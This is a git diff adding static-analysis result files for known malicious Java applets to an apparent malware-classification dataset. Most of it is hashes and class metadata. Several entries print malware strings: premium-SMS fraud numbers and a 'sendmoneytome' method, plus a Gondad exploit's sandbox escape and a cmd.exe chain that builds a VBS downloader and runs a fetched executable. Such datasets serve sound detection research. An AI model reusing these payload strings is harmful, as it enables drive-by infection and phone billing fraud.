"afzurbclcithnwvmt", "ibkskxqmjovbigmrybaer", "cssjyvrvltvcatbeav", "sqbgqveozuwirdrkbdm", "mozaihozsvfiofuclztbcpsqv", "acqwx", "delfnfwysaoagwctrkuf", "hzobqnaztmitshyhhufgvybvgvjo", "pmuqqbhjikxsxaynjtijaqwjbxwl", "zlbgckfdvpuyysslivjpdi", "qsxcugpkxkqsnxvpzyoabzxhrov", "wlmrrynodyseqvyz", "epmkowltgwjdoecndzlkv", "yczbykhfmfsgoqo", "cmzfbphcymd", "yuaksjdosutcv", "qhyemfqoxxjbfrjnpnuciuspge", "cohtmevncmccndneaxugwhtzgjemm", "czriagylcltpggyureaw", "lhfalyimjpdqnuhbpcnrfwb", "mgaug", "fxxhn", "acxrggdjgzfynfgeamwu", "rmmuwxlwoctqjvwuicnmtnhhsujxp", "crtomzlldxgjzmrbwypetf", "mnnojaccdlmoo", "ktacofqcuqpobwdjvy", "irucszrg", "ddmkcaylxkpnzu", "yozbcxdxxfzdynsvfuwednm", "owsbxoins", "ovonlvfdnnuzpblzwdnemjpy", "usxdkgginvtfgyioqycnx", "xkjbezjnmyspq", "imdflyjlxtyuumrynigchcghtxnew", "divqosfsrvcvnkjietsh", "napftfdcdz", "dt", "bvpyhffzgngosnhfndxtu", "q", "lttovpqlluofmwssiitkpnunajdgt", "fnunladsyjdljywsqlrgguihjgdbn", "mdlxxvajzkwkwkzbbwumnqjifps", "fnueczuwcywlcdcx", "ruvlhqxxeqjivfbgrxswfgdkzs", "imlfwnst", "ydlqelgt", "vywxtyfgjtpplplyhbkrbxnghlisn", "zatoudqgivwbsi", "lpyemxfwfbywqo", "ujkprzxsqfnhoqxjhppw", "oczkzigxqxtngejjkteqhyqzwtpdn", "i", "tpsbrzqrmt", "rqjgjwdawxzvduunsv", "lhktfbazbizjngwpemrdhrcmjldmg", "zidsmhmdzdedjlmx", "tecppnlgldcioeev", "kwdsynaxacmyhjkuna", "zmqpsy", "prixykcslbbgkhldxmyty", "fbxabrommnbxgblsnefgfmcfrm", "ivsbczjanzvtwg", "jegecvxadvmfwmivxdueeil", "bhctavztduqlwznuf", "kdfljn", "bwdocqdadjwfkfbmjtoqkei", "mfqtxysqyn", "sfwqihcotibpmisfl", "fljnveebqhjxvsuodnezviehm", "bfxiillapkjibefblyfqfnftbek", "lkoywpatluplfkzgxrq", "ggefhzcusapbn", "bo", "qbxbhtbekymvbdqnttq", "ou", "kscalxisdk", "wzlhqodzgjwlrcqu", "issuadswquqynkgsghbuvpzqnziuz", "vhhfjevoznbxyiknx", "spbynqia", "cteigvmmumnxssdtdkhiw", "ggmiiu", "vlcx", "fgpzncpilpezzoefbc", "kwkrtstqohtemmfzuij", "yivcipcuo", "lzqlpvoyggcfs", "ysryuioedqmbthlceqrgxr", "tnffheqbjvucjymjgivabf", "pmhawoxsnnkvrw", "bezudoyjrxtaupgjwckimpdjhbfpn", "c", "mawmcdcrqbjzmsweonlxgixmjus", "isdkwefgotepa", "j", "jfn", "phjoacvrmpcasxwifxudrxhgipgk", "lci", "jjeszlhzrwwmqlaybl", "ciiyimiqwdxbafwhhk", "fnk", "mdhudglkm", "cintccqfovqzrdoncagj", "rldmziss", "zfefcwqryeug", "zywyirhmzpnqiwtgrbcmsmiyaihwlt", "tdpurppypbrfvrpbomeovekpjqi", "cuxtiozxdawdcunferbrhab", "v", "udznxukbukutvof", "cqdjqtyg", "viyxwyjwpycjwgmbevcr", "noej", "henmzttctuvhqtpywvpn", "moavhniupswcmr", "ozbzwejiouzw", "vzmwgnogzntiskxidfgflhhdilnz", "mdodmoo", "nihovjnldzgywlitperifn", "ounexwvh", "ppxojbeeop", "znnkpxigochpzekqleldpl", "yykgsiikggqbdktgkulbafrgt", "tzaevtnbkg", "hzylimiskye", "felurwuwp", "bsgl", "qumaygjfvdmmlrjpegrbpwcug", "fpdfxyuhikawbazv", "zxyqtlijsfweyfspjlmn", "rxysniqkpotof", "oqofmtdiiipqhyizpqgqdvft", "aklujzotffwcvwha", "maxqygzzspacjzuae", "gcntbrjmvkmjyjmzs", "wilpzfoi", "lhvkmayavyygtldlfzolhovndxtus", "rjkmfbutqryoxqas", "mqgkyfzfttkjn", "lbn", "iw", "vvoefknujmpmmmishfxpkbhe", "chjyerbtjq", "hqblaaweroutgjfa", "oswrxjrjltjswaamyjoczejkolem", "ldsaqtfaorxnywwfqdckr", "lbvmhedv", "prmjbfllqbu", "ooxepsvlatm", "rmtqruiixezip", "nanxxcea", "twvkqboixfj", "bwrpeiqojmyafxdv", "smzkbyflbb", "krfuriicbog", "tekmthbaxfhdqml", "pzultvildghphhzpxdr", "pabakdtzuyeoeocufzgsvm", "uvmatcrzmm", "yswvwrqlmvzadsgahlzoqyvqp", "s", "ugjoptixjwkqvgggcwqliuvm", "wzdtbqrmucppkbegbrersfhhnie", "plmipjxjbyumtksdtj", "sccwyrbjsdcx", "bjcvhojdwajsvxp", "xrqjwgtb", "ktperdxkl", "sudbhknrpgo", "gmvvmzvaqpbmymjlj", "uofincdujxztdwrqonx", "dcugbawutumbewspo", "pcj", "cbuzwxssftwully", "rrhkpdflo"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "80205d7a02c98e2fb811f15c0ea8f1945e59c037", "file_name": "java_malicious/88c17f2a9342cd43523305cce1be03ea65f9a017c00717b4557be3fdfec41edd", "_id": "f0f54726-9487-4f41-abce-779ce57f6dfb", "score": 0, "entropy": 5.998003947898216, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 24353, "ssdeep": "384:3jc5D4M+R+7CZupPjIEJBu5lnaagiiBpaHu7g9OTJVhuVHLu/YGN2eQfE/590vxv:3jexeLyBu5lnariip0rTIbJE", "sha256": "88c17f2a9342cd43523305cce1be03ea65f9a017c00717b4557be3fdfec41edd", "md5": "0f6ce31a8246814a7d5b91b0d40aeaaf", "parent_sha256": "88c17f2a9342cd43523305cce1be03ea65f9a017c00717b4557be3fdfec41edd"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/891cbefd20bc2dc752239747d08bf32ea2cc4f17e4004cb92601334b454c44b1.results b/java_classification/data/malicious/891cbefd20bc2dc752239747d08bf32ea2cc4f17e4004cb92601334b454c44b1.results
new file mode 100755
index 0000000..6f4f8e1
--- /dev/null
+++ b/java_classification/data/malicious/891cbefd20bc2dc752239747d08bf32ea2cc4f17e4004cb92601334b454c44b1.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "ia/classprotect/Start", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "a", "<clinit>"], "minor_version": 3, "const_pool_count": 106}}, "_id": "901ca76f-97d2-4679-9c43-ee624bc604cd", "verbose": {"java": {"constant strings": ["\\x1fI=w#\\x17[`d=\\x19\\\\vw;X{gu=\\x02", "\\x1fI=|", "\\x1bIzz"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "532be79259b7acecf72a338ab7cff82f0797e00c", "file_name": "java_malicious/891cbefd20bc2dc752239747d08bf32ea2cc4f17e4004cb92601334b454c44b1", "_id": "901ca76f-97d2-4679-9c43-ee624bc604cd", "score": 0, "entropy": 5.644563592144488, "libmagic": "compiled Java class data, version 45.3", "file_size": 1681, "ssdeep": "48:ZK9MyypPzrxZ6cHwAQ312C+PVEXugRX0E:KOZrn6gNE+gKE", "sha256": "891cbefd20bc2dc752239747d08bf32ea2cc4f17e4004cb92601334b454c44b1", "md5": "f2fc2935f93478d5fba511ad07806651", "parent_sha256": "891cbefd20bc2dc752239747d08bf32ea2cc4f17e4004cb92601334b454c44b1"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/8946ad239227cd3a43c553304d27d0a6c3cc8ff8bff1f4cfaab0720eb3fe6802.results b/java_classification/data/malicious/8946ad239227cd3a43c553304d27d0a6c3cc8ff8bff1f4cfaab0720eb3fe6802.results
new file mode 100755
index 0000000..ed0b7eb
--- /dev/null
+++ b/java_classification/data/malicious/8946ad239227cd3a43c553304d27d0a6c3cc8ff8bff1f4cfaab0720eb3fe6802.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "M", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "major_version": 45, "method_names": ["<init>", "paint", "run", "keyPressed", "keyReleased", "mainmenu", "mainmenu3", "mainmenu2", "sendmoneytome", "prover", "R"], "minor_version": 3, "const_pool_count": 369}}, "_id": "6aaddec8-1c33-4f77-9563-10ea016e91b5", "verbose": {"java": {"constant strings": ["p:104 n:9312173659", "p:55 n:9312173677", "p:22 n:9232441167", "\\xd0\\x92\\xd1\\x8b\\xd1\\x85\\xd0\\xbe\\xd0\\xb4", "\\xd0\\x94\\xd0\\xb0", "\\xd0\\x9f\\xd1\\x80\\xd0\\xbe\\xd1\\x81\\xd0\\xbc\\xd0\\xbe\\xd1\\x82\\xd1\\x80\\xd0\\xb5\\xd1\\x82\\xd1\\x8c MMS \\xd1\\x81\\xd0\\xbe\\xd0\\xbe\\xd0\\xb1\\xd1\\x89\\xd0\\xb5\\xd0\\xbd\\xd0\\xb8\\xd0\\xb5 ?", "", "\\xd0\\x95\\xd1\\x89\\xd0\\xb5", "\\xd0\\x9e\\xd1\\x88\\xd0\\xb8\\xd0\\xb1\\xd0\\xba\\xd0\\xb0! \\xd0\\x9f\\xd0\\xbe\\xd0\\xb2\\xd1\\x82\\xd0\\xbe\\xd1\\x80\\xd0\\xb8\\xd1\\x82\\xd0\\xb5 \\xd0\\xb5\\xd1\\x89\\xd0\\xb5 \\xd1\\x80\\xd0\\xb0\\xd0\\xb7.", "sms://8464", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 0kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 2kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 5kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 9kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 12kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 15kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 19kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 21kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 22kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 25kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 27kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 28kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 30kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 33kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 35kb", "sms5", "sms_d5", "12", "\\xd0\\x9e\\xd1\\x88\\xd0\\xb8\\xd0\\xb1\\xd0\\xba\\xd0\\xb0!\\xd0\\x9d\\xd0\\xb0 \\xd1\\x81\\xd0\\xb5\\xd1\\x80\\xd0\\xb2\\xd0\\xb5\\xd1\\x80\\xd0\\xb5 \\xd1\\x82\\xd0\\xb5\\xd1\\x85\\xd0\\xbd\\xd0\\xb8\\xd1\\x87\\xd0\\xb5\\xd1\\x81\\xd0\\xba\\xd0\\xb8\\xd0\\xb5 \\xd1\\x80\\xd0\\xb0\\xd0\\xb1\\xd0\\xbe\\xd1\\x82\\xd1\\x8b.\\xd0\\x9f\\xd0\\xbe\\xd0\\xb2\\xd1\\x82\\xd0\\xbe\\xd1\\x80\\xd0\\xb8\\xd1\\x82\\xd0\\xb5 \\xd1\\x87\\xd0\\xb5\\xd1\\x80\\xd0\\xb5\\xd0\\xb7 30-60 \\xd0\\xbc\\xd0\\xb8\\xd0\\xbd.", "sms://844471", "\\xd0\\x98\\xd0\\xb7\\xd0\\xb2\\xd0\\xb8\\xd0\\xbd\\xd0\\xb8\\xd1\\x82\\xd0\\xb5 \\xd1\\x81\\xd0\\xb5\\xd1\\x80\\xd0\\xb2\\xd0\\xb5\\xd1\\x80 \\xd0\\xbd\\xd0\\xb5 \\xd0\\xb4\\xd0\\xbe\\xd1\\x81\\xd1\\x82\\xd1\\x83\\xd0\\xbf\\xd0\\xb5\\xd0\\xbd.\\xd0\\x9f\\xd0\\xbe\\xd0\\xbf\\xd1\\x80\\xd0\\xbe\\xd0\\xb1\\xd1\\x83\\xd0\\xb9\\xd1\\x82\\xd0\\xb5 \\xd0\\xbf\\xd0\\xbe\\xd0\\xb2\\xd1\\x82\\xd0\\xbe\\xd1\\x80\\xd0\\xb8\\xd1\\x82\\xd1\\x8c \\xd1\\x87\\xd0\\xb5\\xd1\\x80\\xd0\\xb5\\xd0\\xb7 24 \\xd1\\x87\\xd0\\xb0\\xd1\\x81\\xd0\\xb0. "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8233739d41b61e84f3915471cdf2ae58542d6533", "file_name": "java_malicious/8946ad239227cd3a43c553304d27d0a6c3cc8ff8bff1f4cfaab0720eb3fe6802", "_id": "6aaddec8-1c33-4f77-9563-10ea016e91b5", "score": 0, "entropy": 5.92854069564493, "libmagic": "compiled Java class data, version 45.3", "file_size": 9030, "ssdeep": "96:7eiHN1wmExt1XH/YRZFn/KZqsZb0SqpIEfjqTCa2XE0TqTCa2IHj2qTCa2JRHcqL:RHj/EtAL9yZDtHgTU0PTIDoTJRHbL", "sha256": "8946ad239227cd3a43c553304d27d0a6c3cc8ff8bff1f4cfaab0720eb3fe6802", "md5": "c1eed4d43435cb6e1c20c622f54ff204", "parent_sha256": "8946ad239227cd3a43c553304d27d0a6c3cc8ff8bff1f4cfaab0720eb3fe6802"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/8ab1ab80c9d43f8b1a80feb9bd18d1b5300788e9cecbcbc1f87f73fd02c462ad.results b/java_classification/data/malicious/8ab1ab80c9d43f8b1a80feb9bd18d1b5300788e9cecbcbc1f87f73fd02c462ad.results
new file mode 100755
index 0000000..7173683
--- /dev/null
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diff --git a/java_classification/data/malicious/8ac92e6d16f1e63f076eba78f0191adfe7d021325260c0fa5fe5aa92064601d4.results b/java_classification/data/malicious/8ac92e6d16f1e63f076eba78f0191adfe7d021325260c0fa5fe5aa92064601d4.results
new file mode 100755
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diff --git a/java_classification/data/malicious/8ada03d83340833209b2c59abbdeac1361e68fdd77db850cde3dc9882e39d374.results b/java_classification/data/malicious/8ada03d83340833209b2c59abbdeac1361e68fdd77db850cde3dc9882e39d374.results
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diff --git a/java_classification/data/malicious/8bba4b6a0d3db86dfb48e96589d49a994581887a6935e469b2e353f1f03ae1b9.results b/java_classification/data/malicious/8bba4b6a0d3db86dfb48e96589d49a994581887a6935e469b2e353f1f03ae1b9.results
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diff --git a/java_classification/data/malicious/8c66c64c4ed77555aa43af536e410b8896fe07702655ba1de9de2af73251dc98.results b/java_classification/data/malicious/8c66c64c4ed77555aa43af536e410b8896fe07702655ba1de9de2af73251dc98.results
new file mode 100755
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diff --git a/java_classification/data/malicious/8d6fb9f0e1b5a412be32e586a957befcd8343cb64d0b9d6d6c60fe48feba076d.results b/java_classification/data/malicious/8d6fb9f0e1b5a412be32e586a957befcd8343cb64d0b9d6d6c60fe48feba076d.results
new file mode 100755
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diff --git a/java_classification/data/malicious/8f0dc836532d455f25e8e9429c4aa9c1e46659c573862f26fce0ec0cd3caa6bf.results b/java_classification/data/malicious/8f0dc836532d455f25e8e9429c4aa9c1e46659c573862f26fce0ec0cd3caa6bf.results
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"metadata": {"mimetype": "application/x-java-applet", "sha1": "be1f3693f11204f9cd6267f603a606e4bb4d8a31", "file_name": "java_malicious/8f0dc836532d455f25e8e9429c4aa9c1e46659c573862f26fce0ec0cd3caa6bf", "_id": "264f267e-ddd6-4715-8bbb-8ff267629429", "score": 0, "entropy": 5.296569354218107, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7323, "ssdeep": "192:Bl/i2e8opXkIP9pJCDpDM3UcOqXz/fr/Gt59FYcCwuE:BEwopXkMpJCDpDVcrznruz9SbE", "sha256": "8f0dc836532d455f25e8e9429c4aa9c1e46659c573862f26fce0ec0cd3caa6bf", "md5": "5b5cf741f9e1de7fb2f478a64f57c7eb", "parent_sha256": "8f0dc836532d455f25e8e9429c4aa9c1e46659c573862f26fce0ec0cd3caa6bf"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/8f2115a083dc6ef8d0e4ea1cf264e948aa43441342898370e7534fbcbea839a4.results b/java_classification/data/malicious/8f2115a083dc6ef8d0e4ea1cf264e948aa43441342898370e7534fbcbea839a4.results
new file mode 100755
index 0000000..2ef9553
--- /dev/null
+++ b/java_classification/data/malicious/8f2115a083dc6ef8d0e4ea1cf264e948aa43441342898370e7534fbcbea839a4.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Putufak.java", "class_name": "Putufak", "access_permissions": ["ACC_SUPER"], "major_version": 50, "method_names": ["getNumDataElements", "<init>", "a"], "minor_version": 0, "const_pool_count": 73}}, "_id": "fff875b0-84b2-4002-8631-34e069af1bf3", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"java": "rot0"}}}, "constant strings": ["fDile:/D//", "D", "", "java.security.CodeSource"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "10b4cb56bfdc70e11b35f1df17d83800f21ba716", "file_name": "java_malicious/8f2115a083dc6ef8d0e4ea1cf264e948aa43441342898370e7534fbcbea839a4", "_id": "fff875b0-84b2-4002-8631-34e069af1bf3", "score": 0, "entropy": 5.354719460810116, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1284, "ssdeep": "24:9HP+/Wwulj/5SEzu/+Q/2pxigk8GOfPZBhtmvSvM:9HP+ellD5SES/+Q/2pcgkiZBsEM", "sha256": "8f2115a083dc6ef8d0e4ea1cf264e948aa43441342898370e7534fbcbea839a4", "md5": "ad3912866d0d21a7922813e8b8854790", "parent_sha256": "8f2115a083dc6ef8d0e4ea1cf264e948aa43441342898370e7534fbcbea839a4"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/8f6089915b1f273ac5549b0775ee57442601a1861c48ce99ca1cde092b19537c.results b/java_classification/data/malicious/8f6089915b1f273ac5549b0775ee57442601a1861c48ce99ca1cde092b19537c.results
new file mode 100755
index 0000000..dbb4f8f
--- /dev/null
+++ b/java_classification/data/malicious/8f6089915b1f273ac5549b0775ee57442601a1861c48ce99ca1cde092b19537c.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "major_version": 46, "method_names": ["<init>", "keyPressed", "paint", "a", "run"], "minor_version": 0, "const_pool_count": 256}}, "_id": "bbd2b588-6763-4a1a-9fc5-fc9046c5496d", "verbose": {"java": {"constant strings": ["", ".png", "/", "alarmphone", "alarmtext", "delay", "footer", "header", "no sended.", "send", "send failed: ", "sended.", "sending...", "sms://", "text", "true"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "bff3768265598958dd02568f257dab189f357333", "file_name": "java_malicious/8f6089915b1f273ac5549b0775ee57442601a1861c48ce99ca1cde092b19537c", "_id": "bbd2b588-6763-4a1a-9fc5-fc9046c5496d", "score": 0, "entropy": 5.779238676167152, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 3547, "ssdeep": "48:vudAC+VQcR98n6icZepRroLo4K2qcHsRTu5TnbVFGQn4Box0d6Sr0vMOoaxlV4wU:2/nn6ztcBoxSVSoKlu", "sha256": "8f6089915b1f273ac5549b0775ee57442601a1861c48ce99ca1cde092b19537c", "md5": "01d224c032101d4b5f2c39a2c08e2ef6", "parent_sha256": "8f6089915b1f273ac5549b0775ee57442601a1861c48ce99ca1cde092b19537c"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/8fba51aa6d0ebaa1abf70da7b03d787379ca8edc1c70be9b93d15a3062c4477c.results b/java_classification/data/malicious/8fba51aa6d0ebaa1abf70da7b03d787379ca8edc1c70be9b93d15a3062c4477c.results
new file mode 100755
index 0000000..e4aac03
--- /dev/null
+++ b/java_classification/data/malicious/8fba51aa6d0ebaa1abf70da7b03d787379ca8edc1c70be9b93d15a3062c4477c.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "GondadGondadExp.java", "class_name": "GondadGondadExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "init"], "minor_version": 3, "const_pool_count": 133}}, "_id": "d82d8f6b-e923-4d55-bdfc-42a7ffd7b7a0", "verbose": {"java": {"constant strings": ["java.lang.System.setSecurity", "GQcaip8BhuHQuW7Vl", "dota", "function", "j", "return \"exploit!\";};", "s", "error.message = this;", "ts(0)", "ho UR", "var error = new Error(\"My error\");this.toString = ", "(){ ", "Manager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c ec", "L = LCase(WScript.Argumen", ")>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo gond=\"GQcaip8BhuHQuW7V\">>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo CsCriptGet.Open()>>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\GQcaip8B.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\GQcaip8B.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "bcc1677af24a3238f07a9c54175c8cc8b6d51450", "file_name": "java_malicious/8fba51aa6d0ebaa1abf70da7b03d787379ca8edc1c70be9b93d15a3062c4477c", "_id": "d82d8f6b-e923-4d55-bdfc-42a7ffd7b7a0", "score": 0, "entropy": 5.86860394281999, "libmagic": "compiled Java class data, version 45.3", "file_size": 3274, "ssdeep": "48:CayGl/6B3pDhZ0A5b071VlLa3Ji1b0s6hGUdvXdGO2M89TAG8PnI:CzGlyB3pDv107DllKfhG6dsM89bUI", "sha256": "8fba51aa6d0ebaa1abf70da7b03d787379ca8edc1c70be9b93d15a3062c4477c", "md5": "29e0ca1f9f87b0f7b1454b7b97ca459e", "parent_sha256": "8fba51aa6d0ebaa1abf70da7b03d787379ca8edc1c70be9b93d15a3062c4477c"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/901ec322755077fa6d54c3447b41537a97253597c100ee88b858bb82c2330fa2.results b/java_classification/data/malicious/901ec322755077fa6d54c3447b41537a97253597c100ee88b858bb82c2330fa2.results
new file mode 100755
index 0000000..c62d9ed
--- /dev/null
+++ b/java_classification/data/malicious/901ec322755077fa6d54c3447b41537a97253597c100ee88b858bb82c2330fa2.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "OjIon.java", "class_name": "CQAfR/OjIon", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "dsuqX", "<clinit>"], "minor_version": 0, "const_pool_count": 359}}, "_id": "885cc416-e7f5-452f-a2ca-38f9eb834732", "verbose": {"java": {"constant strings": ["4=*(*=", " =*(*=", "#=*(=", "#/=*", "8/=/", "/-", "6=*"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e532be928b39556c49493b8436c7b6d327ff7b68", "file_name": "java_malicious/901ec322755077fa6d54c3447b41537a97253597c100ee88b858bb82c2330fa2", "_id": "885cc416-e7f5-452f-a2ca-38f9eb834732", "score": 0, "entropy": 4.911082605410108, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6148, "ssdeep": "96:bnSlbIKJqrkDCkFlEsl0GnhQMRBJXLb3rHja6DnRM:bWbJvRlEsmGhRBHrDa6Du", "sha256": "901ec322755077fa6d54c3447b41537a97253597c100ee88b858bb82c2330fa2", "md5": "ae6525fa5c225aaf8966e5f7211b21fa", "parent_sha256": "901ec322755077fa6d54c3447b41537a97253597c100ee88b858bb82c2330fa2"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/907959f9edb8c4b9ae6855c44e4a064e412e3320fb91ba2354f8f1e9bf546b86.results b/java_classification/data/malicious/907959f9edb8c4b9ae6855c44e4a064e412e3320fb91ba2354f8f1e9bf546b86.results
new file mode 100755
index 0000000..7a06c3d
--- /dev/null
+++ b/java_classification/data/malicious/907959f9edb8c4b9ae6855c44e4a064e412e3320fb91ba2354f8f1e9bf546b86.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/90cc2cb396f2c44845502135008b74e3898ba8dc401ed01277322ce0e9dd09e7.results b/java_classification/data/malicious/90cc2cb396f2c44845502135008b74e3898ba8dc401ed01277322ce0e9dd09e7.results
new file mode 100755
index 0000000..13362a0
--- /dev/null
+++ b/java_classification/data/malicious/90cc2cb396f2c44845502135008b74e3898ba8dc401ed01277322ce0e9dd09e7.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/90e56c13ec5e0d93511a560006fd40c52e9f39ff06c3d39460e1d2982da20a88.results b/java_classification/data/malicious/90e56c13ec5e0d93511a560006fd40c52e9f39ff06c3d39460e1d2982da20a88.results
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diff --git a/java_classification/data/malicious/91668da971253edf14c938a99865803d413ae2782693325abe8a67fe7523d5a4.results b/java_classification/data/malicious/91668da971253edf14c938a99865803d413ae2782693325abe8a67fe7523d5a4.results
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diff --git a/java_classification/data/malicious/9194aeb17698ed846e3a14483bfe04f135ea31c348e23c469cfbd16f2a8bbdda.results b/java_classification/data/malicious/9194aeb17698ed846e3a14483bfe04f135ea31c348e23c469cfbd16f2a8bbdda.results
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diff --git a/java_classification/data/malicious/922a59907c9449e5b288bafe9e1aae0756a6700b28f4c7c7db1f2e0ed2c6bb88.results b/java_classification/data/malicious/922a59907c9449e5b288bafe9e1aae0756a6700b28f4c7c7db1f2e0ed2c6bb88.results
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diff --git a/java_classification/data/malicious/927ce505f4861430f434313530e1bc054d2d7c73cc09e57f2f7695bef22a094d.results b/java_classification/data/malicious/927ce505f4861430f434313530e1bc054d2d7c73cc09e57f2f7695bef22a094d.results
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diff --git a/java_classification/data/malicious/9389c71b40958d08ff8b8b5c2c8bc181138d717ee72a6269319bd466eecd6a7d.results b/java_classification/data/malicious/9389c71b40958d08ff8b8b5c2c8bc181138d717ee72a6269319bd466eecd6a7d.results
new file mode 100755
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diff --git a/java_classification/data/malicious/94daa163f20733218289e7ec66c0d64c8735fef92feb7a4f664057e56c59a408.results b/java_classification/data/malicious/94daa163f20733218289e7ec66c0d64c8735fef92feb7a4f664057e56c59a408.results
new file mode 100755
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diff --git a/java_classification/data/malicious/970399ac6808755c7de8700d29512f1b488a580da7e6acc55122c6b4c8794655.results b/java_classification/data/malicious/970399ac6808755c7de8700d29512f1b488a580da7e6acc55122c6b4c8794655.results
new file mode 100755
index 0000000..88528af
--- /dev/null
